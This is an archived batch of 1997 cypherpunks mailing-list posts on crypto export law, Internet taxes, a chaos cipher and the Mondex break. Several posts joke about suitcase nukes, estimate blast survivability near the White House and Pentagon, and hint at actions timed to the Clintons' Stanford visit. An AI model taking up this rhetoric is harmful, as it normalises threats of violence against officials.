From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Sep 1997 08:04:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
Message-ID: <199709092317.SAA06435@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: amp@pobox.com
> Date: Tue, 09 Sep 1997 09:26:21 -0500
> Subject: Re: Removing Tyranny from Democracy (Part II),
>  was Democracy is the true enemy...
> 
> > I don't believe there are intrinsic flaws in democracy, so much as
> > there are intrinsic flaws in *human*nature* that are coming to light
> > after decades. government is a reflection of our human natures.
> > one cannot really expect a government to correct the flaws of its
> > users, any more than software could do the same.
> 
> No intrinsic flaws in democracy? 
> 
> Surely you jest. 

Please be so kind as to detail your top three flaws...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Wed, 10 Sep 1997 08:03:59 +0800
To: cypherpunks@toad.com
Subject: Re: Net Papa: Global Internet Taxes Inevitable
In-Reply-To: <v03110728b03b42e464b1@[139.167.130.247]>
Message-ID: <199709092231.SAA26341@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



> ---------------------------------------------------------------------
> This mail is brought to you by the e$pam mailing list
> ---------------------------------------------------------------------

>     (09/09/97; 12:00 p.m. EDT)
>     By Douglas Hayward, TechWire
>  
>     Cerf co-developed the
>     TCP/IP[LINK] protocol on which all Web and Net transaction depend.

Net-Papa bullshit!

>     ..."If something is becoming an infrastructure that is important for
>     people's daily lives, then governments will have the right to be
>     concerned about the public's safety and well-being," Cerf said.

Absolute Bullshit!  Bit tax comes down to taxing thinking!  This guy 
might have been a (past tense) a smart programmer but he'd better 
shut up about the rest...

jfa

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 01:07:46 +0800
To: cypherpunks@toad.com
Subject: Suitcase for sale
Message-ID: <199709091632.SAA17805@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Weight of suitcase: 80 lbs.

Scheduled to check in; check the weight.

For details contact: toto@sk.sympatico.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Wed, 10 Sep 1997 07:56:16 +0800
To: Declan McCullagh <gnu@toad.com>
Subject: Re: House National Security committee guts SAFE, worse than nobill
In-Reply-To: <199709092105.OAA02484@toad.com>
Message-ID: <v03102805b03b80c230ed@[204.254.21.72]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:17 PM -0700 9/9/97, Declan McCullagh wrote:

>This version of SAFE, in fact, is //much worse// for crypto freedom than
>having no bill passed at all.

True.

<...>

>It's time for advocates of crypto-freedom to turn obstructionist and
>oppose all legislation dealing with encryption.

And expect to accomplish what?

To stick our heads in the sand now would just make it easier for the FBI to
roll right over us.  We still need to fight the expected FBI key recovey
amendment when the Intelligence Committee and Commerce Committee vote this
week, and then onto the floor (perhaps next year).  Not to mention the
Senate.

This battle is FAR from over. It would be a serous mistake to give up now.

Best,

Jonah

PS: Interestingly, Reuters is reporting that the Administraon has "serious
problems" with the Dellums/Weldon Amendment:

Clinton official not backing new encryption plan

    WASHINGTON, Sept 9 (Reuter) - The Clinton administration has serious
problems with a new congressional proposal to tighten export limits on
computer encoding technology even though it prefers the approach to one
contained in earlier legislation, a top official said on Tuesday.
   Under Secretary of Commerce William Reinsch told Reuters that an
amendment approved by the House National Security Committee earlier on
Tuesday would give the secretary of defense veto power over encryption
export decisions.
   "Giving the secretary of defense a veto is inconsistent with the
president's executive order and inconsistent with the policies of four
prior administrations," Reinsch said. "The administration thinks all
relevent agencies should have a seat at the table and none should have a
veto."
   Under current policy, enacted by presidential order last year,
encryption export requests are reviewed by the Departments of State,
Defense, Energy, Commerce and Justice, along with the Arms Control and
Disarmament Agency.
   The most powerful encryption products cannot be exported unless they
contain a feature allowing the government to decode any messages covertly.
   The amendment, authored by Rep. Curt Weldon, Republican of Pennsylvania,
 and Rep. Ron Dellums, Democrat of California, would require the president
to set "the maximum level of encryption strength that could be exported
from the United States ... without harm to the national security of the
United States."
   Products at or below the established level could be exported after a
one-time review specified by the secretary of commerce with the concurrence
 of the secretary of defense.
   The proposal virtually gutted the bill to which it was attached. The
original bill, written by Virginia Republican Rep. Bob Goodlatte, would
greatly relax export controls.
   Reinsch said the administration supported the "harm to the national
security" standard. "It gives the administration the authority it needs,"
he said. "We'd much rather have this than (the original)."
   Software companies, civil libertarians and Internet user groups all
favor relaxing the current limits and expressed strong concerns about the
Weldon amendment.
   The amendment appeared to outlaw differential treatment currently
accorded to some encryption products used by financial institutions or
subsidiaries of U.S. companies.
   Reinsch said that section of the amendment "could be more artfully
drafted."
   He also criticized the proposal for not requiring companies to export
products with features allowing for government access to coded messages, an
 approach known as key recovery.
   The current policy "links all of the parts together and uses export
controls as a device to move towards key recovery," he said. "We believe
export controls should include key recovery."
   --Aaron Pressman((202-898-8312))
Tuesday, 9 September 1997 18:02:46
RTRS [nN0972124]



  * Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director                  (v) +1.202.637.9800
Center for Democracy and Technology                 pager: +1.202.859.2151
<jseiger@cdt.org>

http://www.cdt.org                                      PGP Key via finger
http://www.cdt.org/homes/jseiger/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 10 Sep 1997 08:25:21 +0800
To: stewarts@ix.netcom.com
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <3.0.3.32.19970909084118.0069266c@popd.ix.netcom.com>
Message-ID: <199709092354.SAA15577@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



stewarts@ix.netcom.com wrote:
> 
> 
> At 11:50 PM 9/8/97 -0500, Igor Chudov @ home wrote:
> >I think that what Nobuku described is not a private key system (because
> >keys cannot be reused), but rather an approach to generating one time pads.
> 
> Arrrgh!  No!  If you read the early references, it's clearly a stream cypher, 
> and used as such.  The same bitstream is generated at both ends.
> Pretending it's a True Random One-Time Pad would be snake oil, 
> but that's your mistake, not Nobuku's or Gao's.
> It's true that keys cannot be reused, but that's the same for RC4.

Well, I did not say that it was true random one time pad. :)

> >> Do you think means of generating one time pads have been lacking?
> >I think that one more good way of doing it would not hurt.
> And one more non-truly-random way of doing it just puts more snake oil on
> the shelf.
> If there are any bytes that are correlated and not independent, it's Bad Pad.
> 
> Tim May wrote:
> >> Why do you think a private key system, even one based on trendy buzzwords
> >> (e,g, "chaos") is interesting?
> Crypto mathematics is always interesting, if written well,
> and if it's the first time you've seen something rather than Yet Another
> LCM PRNG.
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 10 Sep 1997 10:09:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
Message-ID: <v0310280bb03bb01c99f4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Forwarded message:
>
>> From: amp@pobox.com
>> Date: Tue, 09 Sep 1997 09:26:21 -0500
>> Subject: Re: Removing Tyranny from Democracy (Part II),
>>  was Democracy is the true enemy...
>>
>> > I don't believe there are intrinsic flaws in democracy, so much as
>> > there are intrinsic flaws in *human*nature* that are coming to light
>> > after decades. government is a reflection of our human natures.
>> > one cannot really expect a government to correct the flaws of its
>> > users, any more than software could do the same.
>>
>> No intrinsic flaws in democracy?
>>
>> Surely you jest.
>
>Please be so kind as to detail your top three flaws...

I think my Parts II and III detailed a number of shortcomings of democracy,
at least when the franchise goes to 'employees' as opposed to 'customers'
of government.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 01:56:10 +0800
To: cypherpunks@toad.com
Subject: Chelsea Clinton's PGP
Message-ID: <199709091743.TAA24757@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




   Stanford Newspaper Promises to Help Chelsea Clinton Keep Low Profile
   AP
   08-SEP-97
   
   STANFORD, Calif. (AP) Don't look for news about Chelsea Clinton in
   Stanford University's school paper: The editor is promising to treat
   the first freshman like any other student.
   
   Chelsea, accompanied by her parents, is expected on campus Sept. 19,
   when 1,600 first-year students move into their dormitories and begin
   several days of orientation.
   
   Like the mainstream media, the Stanford Daily plans to cover the
   Clintons' arrival and their participation that day at a welcoming
   ceremony for freshmen and their parents.
   
   But after that, said Carolyn Sleeth, the Daily's editor in chief,
   Chelsea "will be treated by us as a student, a regular student."
   
   That means her classroom and social life will largely go unreported.
   
   "Of course, if she involves herself in a newsworthy event, we'll cover
   it for example, if she founds a Stanford Democratic Club," Sleeth
   said.
   
   On the other hand, the student editor said if Chelsea were to get a
   speeding ticket or violate some minor campus rule, it would be
   ignored.
   
   "We wouldn't do a story if another student got a speeding ticket,"
   Sleeth said.
   
   Sleeth also said a gag order of sorts will be imposed on Daily
   employees, barring them from talking or as she put it, "punditing"
   with the "outsider press" about Chelsea. Anyone who does so will be
   fired, she said.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 10:55:25 +0800
To: declan@well.com
Subject: Re: Government shows its hand...good news!
In-Reply-To: <v03102802b03a4c4ebf40@[207.167.93.63]>
Message-ID: <v03102801b03bb9406f3a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:57 PM -0700 9/9/97, Declan McCullagh wrote:
>I won't comment on Tim's second possibility, but the amendment added to
>SAFE today by one committee //prohibits// judicial review. So much for the
>Supremes likely to strike it down.
>

"Prohibits" in what sense, and in what language?

There's obviously a difference between prohibiting judicial review of
specific wiretaps and the issue of the constitutionality of the legislation
itself! I can only surmise you must mean that language has been added
saying magistrates, etc. are not part of the wiretap process.

Clearly Congress, by the separation of powers arrangement we have in the
U.S., cannot say "And, oh by the way, the Supreme Court is not allowed to
declare this law unconstitutional."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Sep 1997 10:59:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <v03102801b03bb9406f3a@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970909194656.9741B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Let me type in that section. But I'm talking about the issue of the
constitutionality of the legislation, of course. National security and
all.

-Declan

On Tue, 9 Sep 1997, Tim May wrote:

> At 5:57 PM -0700 9/9/97, Declan McCullagh wrote:
> >I won't comment on Tim's second possibility, but the amendment added to
> >SAFE today by one committee //prohibits// judicial review. So much for the
> >Supremes likely to strike it down.
> >
> 
> "Prohibits" in what sense, and in what language?
> 
> There's obviously a difference between prohibiting judicial review of
> specific wiretaps and the issue of the constitutionality of the legislation
> itself! I can only surmise you must mean that language has been added
> saying magistrates, etc. are not part of the wiretap process.
> 
> Clearly Congress, by the separation of powers arrangement we have in the
> U.S., cannot say "And, oh by the way, the Supreme Court is not allowed to
> declare this law unconstitutional."
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 11:04:52 +0800
To: cypherpunks@Algebra.COM
Subject: Stanford on Sept. 19th (Re: Nuclear Hedge Funds)
In-Reply-To: <3.0.3.32.19970908230135.006a94a4@popd.ix.netcom.com>
Message-ID: <v03102802b03bba4badda@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:14 PM -0700 9/9/97, Declan McCullagh wrote:
>On Mon, 8 Sep 1997, Bill Stewart wrote:
>> However, we need to get off this "Nuke Washington!" kick,
>> and on to something more realistic like "Wiretap DiFi!"
>
>I'd like to ask that if anyone is planning to Nuke Washington, they
>politely let me know so I can go on an extended business trip to the
>Montana mountains. I mean, it's just common courtesy!

I can't promise anything, but I plan to be advancing the cause of crypto
anarchy on the Stanford campus on Friday, September 19th. After that I may
be off the list for a while, as I'm heading north.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Sep 1997 11:19:18 +0800
To: Jonah Seiger <jseiger@cdt.org>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <v03102807b03ba8918f73@[204.254.22.8]>
Message-ID: <Pine.GSO.3.95.970909193137.9741A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 9 Sep 1997, Jonah Seiger wrote:

> I am not suggesting that we should relax because the Administration is not
> completely satisfied with this provision. They scored a hit against SAFE,
> just like we won one at the Foreign Relations Committee.  Border skirmishes
> in the larger, ongoing war.

The war in Congress is essentially over. There is no realistic hope of
good crypto legislation passing. I'd be interested to hear any
hypothetical that you'd suggest to the contrary. Keep in mind when
concocting it that you'd have to get past the Senate -- where pro-crypto
legislation has been dead for months -- and a presidential veto.

Can you honestly say that any legislation that would survive such a
fearsome test would be better than the situation we have now? (That is, no
domestic controls, an export control regime hanging from a shoestring, and
moderately successful court challenges.)

> None the less, this is much bigger than a quibble over details, IMHO.
> There are important policy implications of this language.  And politically,
> it is extremely significant that Reinsch would be critical at all,
> considering that the Committee voted to substantially undercut the bill
> (one of Reinsch's top priorities).  Perhaps you missed this nuance.

The "important policy implication" of this language may just be Freeh
serving as a convenient launching platform for trial balloons. Reinsch can
swat them down as he sees fit if they get hit by too severe a barrage,
then reintroduce them later after the clamor dies down. (Politically, BTW,
it is much more interesting what Gore said today than Reinsch.) Like I
said, bad cop and worse cop. Reinsch was critical of nuances -- ones that
you perhaps missed -- not the general plan to wire in Big Brother.

Keep in mind this is not just law enforcement talking. This is policy that
comes from the top. Remember Clinton's executive order last fall. Or
before that, his predecessor. Classified documents reveal George Bush in
December 1991 approved a policy to ban strong crypto and allow only
snooperware (crypto with a backdoor). Then in early 1992 the White House
OMB moved to suppress related documents critical of mandatory
wiretappability and privacy. Again, this comes from the highest levels of
the administration. Tell me again how you'll get past that veto. 

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 02:06:44 +0800
To: cypherpunks@cyberpass.net
Subject: Net Papa: Global Internet Taxes Inevitable
Message-ID: <199709091757.TAA26157@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




   (09/09/97; 12:00 p.m. EDT)
   By Douglas Hayward, TechWire

   GENEVA -- Internet taxes are inevitable, according to the man dubbed
   the "Father of the Net." The only way to avoid global chaos is to
   create an international agreement on how to do it, added Vint Cerf at
   a meeting of the Internet Society here. Cerf co-developed the
   TCP/IP[LINK] protocol on which all Web and Net transaction depend.
   
   ...Taxation of the Internet, also called "bit taxes," must be well
   planned, Cerf said. "And it must also be thought through on a global
   scale -- not parochially," he said. In the United States. alone, there
   are 30,000 taxing authorities that might be interested in taxing
   transactions on the Internet, said Cerf, adding that right now, there
   is no way to determine which of those authorities should have
   jurisdiction over a particular transaction.
   
   ..."If something is becoming an infrastructure that is important for
   people's daily lives, then governments will have the right to be
   concerned about the public's safety and well-being," Cerf said. "When
   you build roads, you make rules about how people are to behave on
   these roads, in order to protect people." TW

http://192.215.107.71/wire/news/1997/09/0909tax.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 11:28:10 +0800
To: cypherpunks@Algebra.COM
Subject: RE: Nuclear Hedge Funds
In-Reply-To: <07514A6D4C1FD11180190000010380311154@mallory.stallion.oz.au>
Message-ID: <v03102803b03bbc3d22d3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:48 PM -0700 9/9/97, rab@stallion.oz.au wrote:
>Declan McCullagh wrote:
>> On Mon, 8 Sep 1997, Bill Stewart wrote:
>> > However, we need to get off this "Nuke Washington!" kick,
>> > and on to something more realistic like "Wiretap DiFi!"
>>
>> I'd like to ask that if anyone is planning to Nuke Washington, they
>> politely let me know so I can go on an extended business trip to the
>> Montana mountains. I mean, it's just common courtesy!
>Look on the bright side: You will probably never know what hit you :-)

Yes, the very, very, intensely bright side.

In actuality, the damage radius of course goes approximately as the cube
root of the megatonnage. The multimegaton warheads of some decades back are
no more, replaced by 1 MT and even 200 KT warheads as the "workhorses" of
MIRV and cruise missile delivery systems. And of course nuclear
demolitions, designed to take out dams, close mountain passes, etc., are of
even less megatonnage.

In Hiroshima and Nagasaki, people survived the blast at a radius of several
hundred meters, if they were not looking at the blast and were not in the
open, or in residences ignited. (The Japanese houses were more easily
ignited than modern American or European houses and apartments, for various
reasons.

These bombs were roughly 20 KT. A suitcase bomb might well be comparable,
or even smaller. And even the "workhorses" I mentioned, at 200 KT, would
have roughly the same survivability at 2 or 3 times the radius, i.e. at
1000 meters or so.

Declan would be very unlikely to be in the lethal zone, unless he happened
to be near one of the obvious targets.

(Which in my opinion would be the White House, the Congress, the Pentagon,
or the densepack burrowcrat warrens. Using the above calculations, it is
quite reasonable that big chunks of these buildings would survive a
suitcase nuke placed a few hundred meters away. The Pentagon might lose a
bite out of it, and thus look like some kind of mil-spec Apple logo.)


--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 10 Sep 1997 11:04:49 +0800
To: cypherpunks@toad.com
Subject: FREE Trial offer for Computer Magazine Archives
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.29659.09091997200010.81945@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Sep 1997 11:34:21 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909194656.9741B-100000@well.com>
Message-ID: <Pine.GSO.3.95.970909201055.9741C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Let me clarify my earlier comments. The language sez Defense & Commerce
together can veto crypto exports, and:

"Decisions made by the Secretary of Commerce with the concurrence of the
Secretary of Defense with respect to exports of encryption products under
this section shall not be subject to judicial review."

-Declan



On Tue, 9 Sep 1997, Declan McCullagh wrote:

> Let me type in that section. But I'm talking about the issue of the
> constitutionality of the legislation, of course. National security and
> all.
> 
> -Declan
> 
> On Tue, 9 Sep 1997, Tim May wrote:
> 
> > At 5:57 PM -0700 9/9/97, Declan McCullagh wrote:
> > >I won't comment on Tim's second possibility, but the amendment added to
> > >SAFE today by one committee //prohibits// judicial review. So much for the
> > >Supremes likely to strike it down.
> > >
> > 
> > "Prohibits" in what sense, and in what language?
> > 
> > There's obviously a difference between prohibiting judicial review of
> > specific wiretaps and the issue of the constitutionality of the legislation
> > itself! I can only surmise you must mean that language has been added
> > saying magistrates, etc. are not part of the wiretap process.
> > 
> > Clearly Congress, by the separation of powers arrangement we have in the
> > U.S., cannot say "And, oh by the way, the Supreme Court is not allowed to
> > declare this law unconstitutional."
> > 
> > --Tim May
> > 
> > There's something wrong when I'm a felon under an increasing number of laws.
> > Only one response to the key grabbers is warranted: "Death to Tyrants!"
> > ---------:---------:---------:---------:---------:---------:---------:----
> > Timothy C. May              | Crypto Anarchy: encryption, digital money,
> > tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> > Higher Power: 2^1398269     | black markets, collapse of governments.
> > "National borders aren't even speed bumps on the information superhighway."
> > 
> > 
> > 
> > 
> > 
> > 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 10 Sep 1997 12:13:46 +0800
To: Frank <cypherpunks@toad.com
Subject: Re: Bright, Loud and Quick OR...?
In-Reply-To: <3.0.32.19970909092004.00721208@mail.airmail.net>
Message-ID: <3.0.2.32.19970909201615.006d3c04@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/enriched

 At 09:20 AM 9/9/97 -0500, Frank wrote:
>>>> 
Based on recent statements by "officials" of the former Soviet Union a number of "suitcase" nukes are missing. Possible sale price - $1,000,000.
<<<<

$1,000,000 per suitcase nuke seems way to cheap. Heck, at that price, some individuals on this list might be in the market. What's the yield of these suitcase nukes?

BTW, any idea what the law has to say about private ownership of nukes by US citizens? Assume for a moment that the actual device is kept outside the US.

Just asking rhetorical questions,



--Lucky Green <shamrock@netcom.com>
PGP encrypted mail preferred.
DES is dead! Please join in breaking RC5-56.
http://rc5.distributed.net/



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 11:45:00 +0800
To: John Young <cypherpunks@Algebra.COM
Subject: Re: Mondex Broken
In-Reply-To: <1.5.4.32.19970910015508.0086f57c@pop.pipeline.com>
Message-ID: <v03102804b03bc11c47c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:55 PM -0700 9/9/97, John Young wrote:
>We've received from anonymous a report on breaking
>Mondex's pilot system by TNO along with a confidential
>1996 memo describing the break:
....
>Included is a letter from the Bank of New Zealand to
>Electronic Frontier Canada attempting to suppress
>publication of the memo.
>
>   http://jya.com/mondex-hack.htm

You mean the way <elided> had lawyers send threatening letters to <elided>
warning him not to further publicize the claimed security flaws in
<elided>, the security product sold by <elided>?

I myself received a phone call from <elided>, warning me to not to even
make reference to the rumors that <elided> had flaws in it.

Some of you know what I mean.

There's even a chance this vague note here will cause <elided> to again
contact me, warning me that even such <elisions> are not good enough for
them.

And I'm not at all surprised that those with financial interests in
products are attempting to supress technical or competitive analysis
reports. It's become the way of the world to hire lawyers and barristers to
intimidate whomever they can.

Fortunately, this is what remailers are so useful for. (Though the lawyers
and cops are going after the remailers, as several recent cases have shown.)

And the execrable copyright new world order would make such reverse
engineering illegal in many cases. More reason to nuke it with remailers.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 11:51:27 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909194656.9741B-100000@well.com>
Message-ID: <v03102805b03bc30dbcb6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:12 PM -0700 9/9/97, Declan McCullagh wrote:
>Let me clarify my earlier comments. The language sez Defense & Commerce
>together can veto crypto exports, and:
>
>"Decisions made by the Secretary of Commerce with the concurrence of the
>Secretary of Defense with respect to exports of encryption products under
>this section shall not be subject to judicial review."

Then this is _not_ the sense in which you seemed to be implying that the
Supreme Court would be precluded from declaring the law unconstitutional.

--Tim May

>-Declan
>
>
>
>On Tue, 9 Sep 1997, Declan McCullagh wrote:
>
>> Let me type in that section. But I'm talking about the issue of the
>> constitutionality of the legislation, of course. National security and
>> all.
>>
>> -Declan
>>
>> On Tue, 9 Sep 1997, Tim May wrote:
>>
>> > At 5:57 PM -0700 9/9/97, Declan McCullagh wrote:
>> > >I won't comment on Tim's second possibility, but the amendment added to
>> > >SAFE today by one committee //prohibits// judicial review. So much
>>for the
>> > >Supremes likely to strike it down.
>> > >
>> >
>> > "Prohibits" in what sense, and in what language?
>> >
>> > There's obviously a difference between prohibiting judicial review of
>> > specific wiretaps and the issue of the constitutionality of the
>>legislation
>> > itself! I can only surmise you must mean that language has been added
>> > saying magistrates, etc. are not part of the wiretap process.
>> >
>> > Clearly Congress, by the separation of powers arrangement we have in the
>> > U.S., cannot say "And, oh by the way, the Supreme Court is not allowed to
>> > declare this law unconstitutional."
>> >
>> > --Tim May
>> >
>> > There's something wrong when I'm a felon under an increasing number of
>>laws.
>> > Only one response to the key grabbers is warranted: "Death to Tyrants!"
>> > ---------:---------:---------:---------:---------:---------:---------:----
>> > Timothy C. May              | Crypto Anarchy: encryption, digital money,
>> > tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>> > W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>> > Higher Power: 2^1398269     | black markets, collapse of governments.
>> > "National borders aren't even speed bumps on the information
>>superhighway."
>> >
>> >
>> >
>> >
>> >
>> >
>>
>>


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 10 Sep 1997 08:50:38 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <f6df7c9e903fcf66a5acbd3624e30f95@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




John Young said:

> Flame War, by Jonathan Quittner and Michelle Slatalla,
> William Morrow, New York, 1997. 291 pp. $24.00
> ISBN 0-688-14366-0

Sure that isn't Alexis Slatella? ;)

FedPlunger



        






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 10 Sep 1997 12:24:56 +0800
To: cypherpunks@algebra.com
Subject: Re: Chelsea Clinton's PGP
In-Reply-To: <199709091743.TAA24757@basement.replay.com>
Message-ID: <v03102806b03bc470101a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:43 AM -0700 9/9/97, Anonymous wrote:
>   Stanford Newspaper Promises to Help Chelsea Clinton Keep Low Profile
>   AP
>   08-SEP-97
>
>   STANFORD, Calif. (AP) Don't look for news about Chelsea Clinton in
>   Stanford University's school paper: The editor is promising to treat
>   the first freshman like any other student.
>
>   Chelsea, accompanied by her parents, is expected on campus Sept. 19,
>   when 1,600 first-year students move into their dormitories and begin
>   several days of orientation.


Like I said, I'll be on campus that day advancing the cause of crypto
